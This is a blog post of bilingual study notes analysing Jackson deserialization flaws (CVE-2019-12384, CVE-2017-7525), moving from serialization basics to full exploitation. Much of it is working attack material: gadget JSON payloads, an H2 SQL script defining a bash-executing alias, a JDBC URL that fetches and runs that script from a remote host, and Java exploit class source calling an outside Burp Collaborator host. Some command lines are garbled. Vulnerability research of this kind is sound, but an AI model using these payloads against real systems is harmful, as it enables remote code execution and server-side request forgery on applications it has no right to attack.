Post

Vul - CVE Jackson反序列化漏洞分析

[toc]


Jackson反序列化漏洞分析

anatomy of a vulnerability class


0x00 前言

analyzed an application which used the Jackson library for deserializing JSONs. 反序列化JSON数据。

JSON is a format that encodes objects in a string.

  • Serialization: convert an object into string
    • the process of translating data structures or object state into a format that can be stored (for example, in a file or memory buffer) or transmitted (for example, across a network connection link) and reconstructed later. […]
  • deserialization: convert string -> object
  • an object: {foo: [1, 4, 7, 10], bar: "baz"}
  • serializing: convert it into a string: '{"foo":[1,4,7,10],"bar":"baz"}'
  • deserialize {foo: [1, 4, 7, 10], bar: "baz"}

In Python “serialization” does nothing else than just converting the given data structure (e.g. a dict) into its valid JSON pendant (object).

  • Python’s True will be converted to JSONs true and the dictionary itself will then be encapsulated in quotes.
  • the difference between a Python dictionary and JSON by their Boolean values:
    • Python: True / False,
    • JSON: true / false
  • Python builtin module json is the standard way to do serialization:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
data = {
    "president": {
        "name": "Zaphod Beeblebrox",
        "species": "Betelgeusian",
        "male": True,
    }
}

import json
jdata = json.dumps(data, indent=2) # serialize
restored_data = json.loads(jdata) # deserialize

# serialized jdata now looks like:
# {
#   "president": {
#     "name": "Zaphod Beeblebrox",
#     "species": "Betelgeusian",
#     "male": true
#   }
# }

In that context, identified a deserialization vulnerability where could control the class to be deserialized.

  • 利用这个反序列化漏洞发起SSRF(Server-Side Request Forgery服务端请求伪造)以及RCE(remote code execution远程代码执行)之类的攻击。

漏洞对应的编号为CVE-2019-12384,RedHat的多个分支受该漏洞影响:

jackson-impact


CVE-2019-12384:Jackson反序列化漏洞分析

0x01 利用条件

触发这个Jackson漏洞需要满足如下要求:

  1. The application accepts JSON content sent by an untrusted client
    1. composed either manually or by a code you did not write and have no visibility or control over
    2. can not constrain JSON itself that is being sent, 无法约束正在发送的JSON数据;
  2. The application uses polymorphic type handling for properties with nominal type of
    1. java.lang.Object
    2. one of small number of “permissive” tag interfaces such as java.util.Serializable, java.util.Comparable
  3. The application has at least one specific “gadget” class to exploit in the Java classpath.
    1. exploitation requires a class that works with Jackson.
    2. In fact, most gadgets only work with specific libraries — e.g. most commonly reported ones work with JDK serialization
  4. The application uses a version of Jackson that does not (yet) block the specific “gadget” class.
    1. There is a set of published gadgets which grows over time so it is a race between people finding and reporting gadgets and the patches.
    2. Jackson operates on a blacklist.
    3. The deserialization is a “feature” of the platform and they continually update a blacklist of known gadgets that people report.

假设利用场景已满足条件1及条件2。

实际上,我们重点寻找的是能够满足条件3及条件4的gadget

Jackson is one of the most used deserialization frameworks for Java applications where polymorphism is a first-class concept.

Finding these conditions comes at zero-cost if use static analysis tools or dynamic techniques(such as grep @class in request/responses) to find these targets.


0x02 环境准备

在研究过程中,我们开发了一款工具来帮助分析这类漏洞。

Jackson反序列化ch.qos.logback.core.db.DriverManagerConnectionSource

  • 可滥用ch.qos.logback.core.db.DriverManagerConnectionSource类来实例JDBC connection
    • Java Database Connectivity
  • JDBC is a Java API to connect and execute a query with the database
  • it is a part of JavaSE (Standard Edition)
  • Moreover, JDBC uses an automatic string to class mapping, so it is a perfect target to load and execute even more “gadgets” inside the chain.

prepared a wrapper to load arbitrary polymorphic classes specified by an attacker.

  • used jRuby, a ruby implementation running on top of the Java Virtual Machine (JVM).
  • load and instantiate Java classes.

use this setup to load Java classes easily in a given directory and prepare the Jackson environment to meet the first two requirements (1,2) listed above

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# loads all of the classes contained Java Archives(JAR) in the “classpath” subdirectory
require 'java'
Dir["./classpath/*.jar"].each do |f|
    require f
end

# configures Jackson in order to meet requirements
java_import 'com.fasterxml.jackson.databind.ObjectMapper'
java_import 'com.fasterxml.jackson.databind.SerializationFeature'

content = ARGV[0]

puts "Mapping"
mapper = ObjectMapper.new
mapper.enableDefaultTyping()
mapper.configure(SerializationFeature::FAIL_ON_EMPTY_BEANS, false);

# deserializes and serializes a polymorphic Jackson object passed to jRuby as JSON
puts "Serializing"
# Jackson will recursively call all of the setters with the key contained inside the subobject.
# the setUrl(String url) is called with arguments by the Jackson reflection library.
obj = mapper.readValue(content, java.lang.Object.java_class) # invokes all the setters
puts "objectified"
# the full object is serialized into a JSON object again.
puts "stringified: " + mapper.writeValueAsString(obj)

0x03 Gadget

SSRF攻击中并不需要使用h2库,因为大多数Java应用至少会加载一个JDBC驱动。 JDBC Drivers are classes that, when a JDBC url is passed in, are automatically instantiated and the full URL is passed to them as an argument.

call the previous script with the aforementioned classpath.

1
$ jruby test.rb "["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:mem:"}]"
  1. Jackson will recursively 递归地 call all of the setters with the key contained inside the subobject. the setUrl(String url) is called with arguments by the Jackson reflection library.
  2. the full object is serialized into a JSON object again.
  3. At this point all the fields are serialized directly, if no getter is defined, or through an explicit getter.
  4. When the getConnection is called, an in memory database is instantiated.
    1. Since the application is short lived, won’t see any meaningful effect from the attacker’s perspective.
    2. to do something meaningful, create a connection to a remote database.
    3. If the target application is deployed as a remote service, an attacker can generate a Server Side Request Forgery (SSRF).
1
2
3
4
$ jruby test.rb "["ch.qos.logback.core.db.DriverManagerConnectionSource $ nc -lv 8080 rce", {"url":"jdbc:h2:tcp://localhost:8080/~/test"}]"  ~/test#jdbc:h2:tcp://localhost:8080/~/test_
# Mapping
# Serializing
# objectified

0x04 从SSRF到RCE

这些攻击场景都与DoS以及SSRF有关,可能影响应用的安全性

将SSRF转换成完成的RCE攻击链。

  • to gain full code execution in the context of the application
  • employed the capability of loading the H2 JDBC Driver
    • H2
      • a super fast SQL database
      • usually employed as in memory replacement for full-fledged SQL Database Management Systems
        • such as Postgresql, MSSql, MySql or OracleDB
      • easily configurable and supports many modes
        • such as in memory, on file, and on remote servers.
      • can run SQL scripts from the JDBC URL
        • which for have an in-memory database to support init migrations.

This alone won’t allow execute Java code inside the JVM context. but H2 was implemented inside the JVM, has the capability to specify custom aliases containing java code.

  • which can abuse to execute arbitrary code.

通过python构建一个简单的HTTP服务器

  • python -m SimpleHttpServer
  • 托管如下inject.sql INIT文件:
1
2
3
4
5
6
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
    String[] command = {"bash", "-c", cmd};
    java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\A");
    return s.hasNext() ? s.next() : "";  }
$$;
CALL SHELLEXEC('id > exploited.txt')

然后通过如下方式运行RCE:

1
2
3
4
$ jruby test.rb "["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'https://localhost:8000/inject.sql'"}]"

$ cat exploited.txt
uid=501(...) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),501(access_bpf),701(com.apple.sharepoint.group.1),33(_appstore),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh)

CVE-2017-7525 - Jackson RCE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// JSON -> java object

// There are a couple of ways to use Jackson
// perform a binding to a single object,
// pulling the values from the JSON
// and setting the properties on the associated Java object.
// This is simple, straightforward, and likely not exploitable.
{
  "name" : "Bob", "age" : 13,
  "other" : {
     "type" : "student"
  }
}


// you are create arbitrary objects, and you will see their class name in the JSON document.
// If you see this, it should raise an immediate red flag.
// Here’s a sample of what these look like:
{
  "@class":"MyApp.Obj",
  val:[
    "java.lang.Long",
    1
  ]
}

To determine if this really is Jackson that you are seeing, one technique is (if detailed error messages are available) to provide invalid input and look for references to either of these:

  • com.fasterxml.jackson.databind
  • org.codehaus.jackson.map

Building An Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// Helpfully, the project gave us a starting point to build an effective exploit in one of their unit tests:

{'id': 124,
 'obj':[ 'com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl',
  {
    'transletBytecodes' : [ 'AAIAZQ==' ],
    'transletName' : 'a.b',
    'outputProperties' : { }
  }]
}
// This code leverages a well-known ‘gadget’ to create an object that will accept a compile Java object (via transletBytecodes)
// and execute it as soon as outputProperties is accessed.
// This creates a very simple, straightforward technique to exploit this vulnerability.


["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'https://10.10.14.50:9000/inject.sql'"}]


Building The Payload

to prove that we have execution, and the route I went is to have the server issue a GET request to Burp Collaborator. This can be done easily with the following sample code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import java.io.*;
import java.net.*;

public class Exploit extends com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet {
  public Exploit() throws Exception {
    StringBuilder result = new StringBuilder();
    URL url = new URL("https://[your-url].burpcollaborator.net");
    HttpURLConnection conn = (HttpURLConnection) url.openConnection();
    conn.setRequestMethod("GET");
    BufferedReader rd = new BufferedReader(new InputStreamReader(conn.getInputStream()));
    String line;
    while ((line = rd.readLine()) != null) {
      result.append(line);
    }
    rd.close();
  }

  @Override
  public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, com.sun.org.apache.xml.internal.serializer.SerializationHandler handler) {
  }

  @Override
  public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handler)  {
  }
}
  • This code can be compiled with the javac compiler,
  • and then the resulting .class file should be Base64 encoded, and provided to the transletBytecodes field in the JSON document.
  • As soon as the document is processed, it will create the object, load the code, and execute it.
  • You may still see errors from code failing after the code executes, such as from type-mismatches or the like.

ref

This post is licensed under CC BY 4.0 by the author.

Comments powered by Disqus.